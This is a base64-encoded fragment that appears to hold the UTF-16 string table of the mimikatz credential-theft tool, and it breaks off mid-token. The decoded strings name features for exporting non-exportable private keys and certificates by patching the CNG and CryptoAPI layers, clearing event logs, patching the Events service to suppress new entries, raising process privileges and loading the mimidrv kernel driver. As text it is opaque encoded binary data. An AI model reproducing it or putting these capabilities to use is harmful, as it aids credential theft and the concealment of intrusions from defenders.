bQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgBjAHIAeQBwAHQAIAAlADAAOAB4AAoAAAByAGUAcwBlAHIAdgBlAGQAAAAAAGYAbwByAHcAYQByAGQAYQBiAGwAZQAAAGYAbwByAHcAYQByAGQAZQBkAAAAcAByAG8AeABpAGEAYgBsAGUAAABwAHIAbwB4AHkAAABtAGEAeQBfAHAAbwBzAHQAZABhAHQAZQAAAAAAcABvAHMAdABkAGEAdABlAGQAAABpAG4AdgBhAGwAaQBkAAAAcgBlAG4AZQB3AGEAYgBsAGUAAABpAG4AaQB0AGkAYQBsAAAAcAByAGUAXwBhAHUAdABoAGUAbgB0AAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAbwBrAF8AYQBzAF8AZABlAGwAZQBnAGEAdABlAAAAAAA/AAAAbgBhAG0AZQBfAGMAYQBuAG8AbgBpAGMAYQBsAGkAegBlAAAACgAJACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAoACQAgACAAIABTAGUAcgB2AGkAYwBlACAATgBhAG0AZQAgAAAAAAAKAAkAIAAgACAAVABhAHIAZwBlAHQAIABOAGEAbQBlACAAIAAAAAAACgAJACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAAAAAACAAKAAgACUAdwBaACAAKQAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAoACQAgACAAIAAgACAAAAAAAAAACgAJACAAIAAgAFQAaQBjAGsAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAIAA7ACAAawB2AG4AbwAgAD0AIAAlAHUAAAAAAAkAWwAuAC4ALgBdAAAAAAAlAHMAIAA7ACAAAAAoACUAMAAyAGgAdQApACAAOgAgAAAAAAAlAHcAWgAgADsAIAAAAAAAKAAtAC0AKQAgADoAIAAAAEAAIAAlAHcAWgAAAG4AdQBsAGwAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBjAHIAYwAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQBfAG4AdAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuADIAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AZQB4AHAAIAAgACAAIAAAAHIAYwA0AF8AbABtACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AbQBkADQAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcwBoAGEAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdABfAGUAeABwACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAXwBlAHgAcAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkAF8AZQB4AHAAIAAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADIANQA2AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAGEAZQBzADIANQA2AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAHUAbgBrAG4AbwB3ACAAIAAgACAAIAAgACAAIAAgACAAIAAAAFAAUgBPAFYAXwBSAFMAQQBfAEEARQBTAAAAAABQAFIATwBWAF8AUgBFAFAATABBAEMARQBfAE8AVwBGAAAAAABQAFIATwBWAF8ASQBOAFQARQBMAF8AUwBFAEMAAAAAAFAAUgBPAFYAXwBSAE4ARwAAAAAAUABSAE8AVgBfAFMAUABZAFIAVQBTAF8ATABZAE4ASwBTAAAAUABSAE8AVgBfAEQASABfAFMAQwBIAEEATgBOAEUATAAAAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBOAFIAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMARABTAEEAXwBGAFUATABMAAAAAABQAFIATwBWAF8ARQBDAF8ARQBDAE4AUgBBAF8AUwBJAEcAAABQAFIATwBWAF8ARQBDAF8ARQBDAEQAUwBBAF8AUwBJAEcAAABQAFIATwBWAF8ARABTAFMAXwBEAEgAAABQAFIATwBWAF8AUgBTAEEAXwBTAEMASABBAE4ATgBFAEwAAABQAFIATwBWAF8AUwBTAEwAAAAAAFAAUgBPAFYAXwBNAFMAXwBFAFgAQwBIAEEATgBHAEUAAAAAAFAAUgBPAFYAXwBGAE8AUgBUAEUAWgBaAEEAAABQAFIATwBWAF8ARABTAFMAAAAAAFAAUgBPAFYAXwBSAFMAQQBfAFMASQBHAAAAAABQAFIATwBWAF8AUgBTAEEAXwBGAFUATABMAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAAoAFAAcgBvAHQAbwB0AHkAcABlACkAAABNAFMAXwBFAE4ASABfAFIAUwBBAF8AQQBFAFMAXwBQAFIATwBWAF8AWABQAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAUwBtAGEAcgB0ACAAQwBhAHIAZAAgAEMAcgB5AHAAdABvACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8AUwBDAEEAUgBEAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARABIACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBEAEgAXwBTAEMASABBAE4ATgBFAEwAXwBQAFIATwBWAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEUATgBIAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARABFAEYAXwBEAFMAUwBfAFAAUgBPAFYAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAaQBnAG4AYQB0AHUAcgBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMASQBHAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwB0AHIAbwBuAGcAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8AUwBUAFIATwBOAEcAXwBQAFIATwBWAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAB2ADEALgAwAAAAAABNAFMAXwBFAE4ASABBAE4AQwBFAEQAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEQARQBGAF8AUABSAE8AVgAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAFMARQBSAFYASQBDAEUAUwAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AVQBTAEUAUgBTAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFMARQBSAFYASQBDAEUAAAAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBfAEUATgBUAEUAUgBQAFIASQBTAEUAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXwBHAFIATwBVAFAAXwBQAE8ATABJAEMAWQAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgBfAEcAUgBPAFUAUABfAFAATwBMAEkAQwBZAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMATgBHACAAcwBlAHIAdgBpAGMAZQAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAABjAG4AZwAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAHIAeQBwAHQAbwBBAFAASQAgAGwAYQB5AGUAcgAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAABjAGEAcABpAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAawBlAHkAcwAgAGMAbwBuAHQAYQBpAG4AZQByAHMAAAAAAGsAZQB5AHMAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHMAdABvAHIAZQBzAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcAByAG8AdgBpAGQAZQByAHMAAAAAAHAAcgBvAHYAaQBkAGUAcgBzAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAGMAcgB5AHAAdABvAAAAAAByAHMAYQBlAG4AaAAAAAAAQ1BFeHBvcnRLZXkAbgBjAHIAeQBwAHQAAAAAAE5DcnlwdE9wZW5TdG9yYWdlUHJvdmlkZXIAAABOQ3J5cHRFbnVtS2V5cwAATkNyeXB0T3BlbktleQAAAE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAE5DcnlwdEZyZWVCdWZmZXIAAAAATkNyeXB0RnJlZU9iamVjdAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABCAEMAcgB5AHAAdABFAG4AdQBtAFIAZQBnAGkAcwB0AGUAcgBlAGQAUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAHMAeQBzAHQAZQBtAHMAdABvAHIAZQAAAAAAAABBAHMAawBpAG4AZwAgAGYAbwByACAAUwB5AHMAdABlAG0AIABTAHQAbwByAGUAIAAnACUAcwAnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwB0AG8AcgBlAHMAIAA7ACAAQwBlAHIAdABFAG4AdQBtAFMAeQBzAHQAZQBtAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABNAHkAAAAAAHMAdABvAHIAZQAAACAAKgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAIAA6ACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKACAAKgAgAFMAdABvAHIAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJwAlAHMAJwAKAAoAAAAAACgAbgB1AGwAbAApAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABrAGUAeQBTAHAAZQBjACAAPQA9ACAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBTAFAARQBDACAAdwBpAHQAaABvAHUAdAAgAEMATgBHACAASABhAG4AZABsAGUAIAA/AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBlAHIAdABpAGYAaQBjAGEAdABlAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAZgBvAHIAIABsAGUAbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABwAHIAbwB2AGkAZABlAHIAAAAAAHAAcgBvAHYAaQBkAGUAcgB0AHkAcABlAAAAAABtAGEAYwBoAGkAbgBlAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgADoAIAAnACUAcwAnACAAKAAnACUAcwAnACkACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAOgAgACcAJQBzACcAIAAoACUAdQApAAoAIAAqACAAQwBOAEcAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAnACUAcwAnAAoAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKACUAMgB1AC4AIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFAAcgBvAHYAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABFAG4AdQBtAEsAZQB5AHMAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4AUwB0AG8AcgBhAGcAZQBQAHIAbwB2AGkAZABlAHIAIAAlADAAOAB4AAoAAAAAAEUAeABwAG8AcgB0ACAAUABvAGwAaQBjAHkAAABMAGUAbgBnAHQAaAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAATgBDAHIAeQBwAHQARwBlAHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABDAHIAeQBwAHQARwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFkARQBTAAAATgBPAAAAAAAJAEUAeABwAG8AcgB0AGEAYgBsAGUAIABrAGUAeQAgADoAIAAlAHMACgAJAEsAZQB5ACAAcwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlAHUACgAAAAAAcAB2AGsAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAE8ASwAAAAAASwBPAAAAAAAJAFAAcgBpAHYAYQB0AGUAIABlAHgAcABvAHIAdAAgADoAIAAlAHMAIAAtACAAAAAnACUAcwAnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcABmAHgAAABtAGkAbQBpAGsAYQB0AHoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAJQBzAF8AJQBzAF8AJQB1AF8AJQBzAC4AJQBzAAAAAABBAFQAXwBLAEUAWQBFAFgAQwBIAEEATgBHAEUAAAAAAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFAAAAAABDAE4ARwAgAEsAZQB5AAAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABwAGEAdABjAGgAZQBkAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEMAbABlAGEAcgAgAGEAbgAgAGUAdgBlAG4AdAAgAGwAbwBnAAAAAABjAGwAZQBhAHIAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAcABhAHQAYwBoACAARQB2AGUAbgB0AHMAIABzAGUAcgB2AGkAYwBlACAAdABvACAAYQB2AG8AaQBkACAAbgBlAHcAIABlAHYAZQBuAHQAcwAAAGQAcgBvAHAAAAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAABlAHYAZQBuAHQAAABsAG8AZwAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAFMAZQBjAHUAcgBpAHQAeQAAAAAAVQBzAGkAbgBnACAAIgAlAHMAIgAgAGUAdgBlAG4AdAAgAGwAbwBnACAAOgAKAAAALQAgACUAdQAgAGUAdgBlAG4AdAAoAHMAKQAKAAAAAAAtACAAQwBsAGUAYQByAGUAZAAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAEMAbABlAGEAcgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABGAFMAIABmAGkAbAB0AGUAcgBzAAAAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABvAGIAagBlAGMAdAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAG4AbwB0AGkAZgBPAGIAagBlAGMAdAAAAEwAaQBzAHQAIAByAGUAZwBpAHMAdAByAHkAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYAUgBlAGcAAAAAAEwAaQBzAHQAIABpAG0AYQBnAGUAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAbgBvAHQAaQBmAEkAbQBhAGcAZQAAAAAATABpAHMAdAAgAHQAaAByAGUAYQBkACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAFQAaAByAGUAYQBkAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAbgBvAHQAaQBmAFAAcgBvAGMAZQBzAHMAAAAAAEwAaQBzAHQAIABTAFMARABUAAAAcwBzAGQAdAAAAAAATABpAHMAdAAgAG0AbwBkAHUAbABlAHMAAAAAAG0AbwBkAHUAbABlAHMAAABTAGUAdAAgAGEAbABsACAAcAByAGkAdgBpAGwAZQBnAGUAIABvAG4AIABwAHIAbwBjAGUAcwBzAAAAAABwAHIAbwBjAGUAcwBzAFAAcgBpAHYAaQBsAGUAZwBlAAAAAABEAHUAcABsAGkAYwBhAHQAZQAgAHAAcgBvAGMAZQBzAHMAIAB0AG8AawBlAG4AAABwAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAAAAAAUAByAG8AdABlAGMAdAAgAHAAcgBvAGMAZQBzAHMAAABwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAAAAAAEIAUwBPAEQAIAAhAAAAAABiAHMAbwBkAAAAAABSAGUAbQBvAHYAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAC0AAABJAG4AcwB0AGEAbABsACAAYQBuAGQALwBvAHIAIABzAHQAYQByAHQAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAArAAAAcgBlAG0AbwB2AGUAAAAAAEwAaQBzAHQAIABwAH